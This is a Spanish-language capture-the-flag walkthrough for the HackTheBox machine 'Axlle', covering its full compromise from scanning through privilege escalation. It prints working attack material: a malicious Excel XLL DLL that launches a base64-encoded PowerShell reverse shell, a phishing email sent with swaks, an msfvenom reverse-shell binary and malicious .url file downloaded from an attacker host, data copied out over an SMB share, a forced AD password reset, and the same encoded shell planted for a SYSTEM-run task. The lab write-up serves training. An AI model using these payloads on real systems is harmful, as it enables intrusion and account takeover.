write up Axlle htb.

Axlle” es una máquina de nivel Difícil en la plataforma HackTheBox. En esta máquina, se encuentra activo un servicio de correos que permite la carga de archivos DLL. Estos archivos pueden ser manipulados para obtener acceso inicial a la máquina víctima. Una vez dentro, se identifica un directorio que ejecuta archivos URL, lo cual puede ser aprovechado para ejecutar un binario malicioso y escalar privilegios hacia un segundo usuario.

Este segundo usuario tiene la capacidad de modificar la contraseña de un tercer usuario, quien dispone de acceso a la máquina a través de WinRM. Al acceder como este tercer usuario, es posible alterar un script que se ejecuta con privilegios de SYSTEM, lo que permite tomar control total de la máquina.

lo primero como siempre empezamos con un nmap para ver los puertos abiertos

nmap -p- --open --min-rate 5000 -sT -Pn -n -vvv 10.10.11.21 -oG allports

nmap -sVC -p25,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,53346,53348,53349,53356,53360,53369 10.10.11.21 -oN ports

vemos un puerto 80 con un http por lo que vamos a usar whatweb para ver que hay por hay

whatweb 10.10.11.21

vale dos cosas:

no vemos dominio lo cual es raro pero lo conseguimos por el email que encuntra por lo que lo añadimos al /etc/hosts

vale si nos metemos en http://10.10.11.21/ vemos una cosa curiosa

dice que podemos enviar un email al correo con un archivo execl por lo que se me ocurre hacer un archivo excel maligno

para hacerlo vamos a tener que crear un archivo c o c++ para poder bypasear mejor la seguridad yo voy a usar este codigo que e encontrado en internet:

#include <windows.h>
 
__declspec(dllexport) void __cdecl xlAutoOpen(void); 
 
void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("powershell -e CgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgA4ADkAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoACgA=", 1);
}
 
BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

con MinGW lo vamos a convertir en un archivo excel (XLL) https://stackoverflow.com/questions/44389963/how-to-install-mingw32-on-ubuntu esto es por si no me acurdo de como se instala MinGW xddd

x86_64-w64-mingw32-gcc -shared -fPIC -o axlle.xll rev.c

nos ponemos en escucha por el puerto 9001

rlwrap -cAr nc -lvnp 4444

ya simplemente mando el email con swaks

swaks --from sheltCP1@axlle.htb --to accounts@axlle.htb --body "Important update required." --header "Subject: Urgent Update" --attach @plugin.xll

y despues de un rato pum

estamos dentro si vamos al directorio C:\Program Files (x86)\hMailServer\Data\axlle.htb vemos otro suario

vale por lo que e descubierto sobre la maquina al parecer hay que hacer un ataque url maliciosa de la siguiente forma creamos la url maliciosa:

[InternetShortcut]
URL=file:///C:/Users/Public/reverse.exe

ahora con msfvenom creamos la revhershell:

msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.89 LPORT=4443 -f exe -o reverse.exe

habrimos un server python para psarnos los exploit y los descargamos

wget http://10.10.16.89:8000/reverse.exe -OutFile C:\Users\Public\reverse.exe
wget http://10.10.16.89:8000/malicious.url -OutFile C:\inetpub\testing\malicious.url

y antes de poner este ultimo comando nos ponemos en escucha:

rlwrap -cAr nc -lvnp 4443

y despues de unos segundos pumm somos el usuario dallon

escalado de privileguios

vale como ya estamos dentro vamos a usar sharphound.exe para enumerar el dominio lo pasamos con un server python una vez pasado ejecutamos:

.\sharphound.exe -c All

y nos genera un archivo .zip para pasarlo a la maquina atacante vamos a usar smbserver de esta forma

primero en la maquina atacante:

impacket-smbserver pepe $(pwd) -username zzero -password zzero -smb2support

y despues en la maquona victima

net use \\10.10.16.89\pepe /u:zzero zzero

copy .\20241118092807_BloodHound.zip \\10.10.16.89\pepe\

y ya lo tenemos ahora lo subimos a blodhunt vemos esta estructura la cual es interesante vamos a intentar cambiar la contraseña de uno de estos dos usuarios

los mismo pasamos poweriew por server python y ejecutamos la shell en powershell y seguimos esta secuencia de comandos

powershell

Import-Module .\PowerView.ps1

$Password = ConvertTo-SecureString 'zzero' -AsPlainText -Force 

Set-ADAccountPassword -Identity jacob.greeny -NewPassword $Password -Reset

y despues ejecutamos evilwirm:

evil-winrm -i 10.10.11.21 -u jacob.greeny -p 'zzero'

![[Pasted image 20241118193727.png]] ahora tenemos acceso a al directorio app Development y vemos otro directoro dentro ![[Pasted image 20241118194056.png]] si entramos vemos un archivo readme ![[Pasted image 20241118194457.png]] es un tocho pero resumidamente es que hay un archivo standalonerunner.exe que se ejecuta como system

asique vamos a ver si podemos hacerle algo

![[Pasted image 20241118194625.png]] vamos a usar icals para ver que podemos hacerle

icacls standalonerunner.exe

vemos que podemos hacer ciertas cosas por lo que vamos a hacer lo siguiente

$project = "0xdfTest"

$command = "ping 10.10.16.89"

echo "$command" > command.txt; mkdir -force $project\working > $null; echo "doesn't matter" > $project\working\rsf.rsf; echo "$project`nTrue" > reboot.rsf; tree . /f

$command = "powershell -e CgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgA4ADkAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoACgA="

echo "$command" > command.txt; mkdir -force $project\working > $null; echo "doesn't matter" > $project\working\rsf.rsf; echo "$project`nTrue" > reboot.rsf; tree . /f


echo esto nos ponemos en eschucha por el puerto 4444 y pumm somos root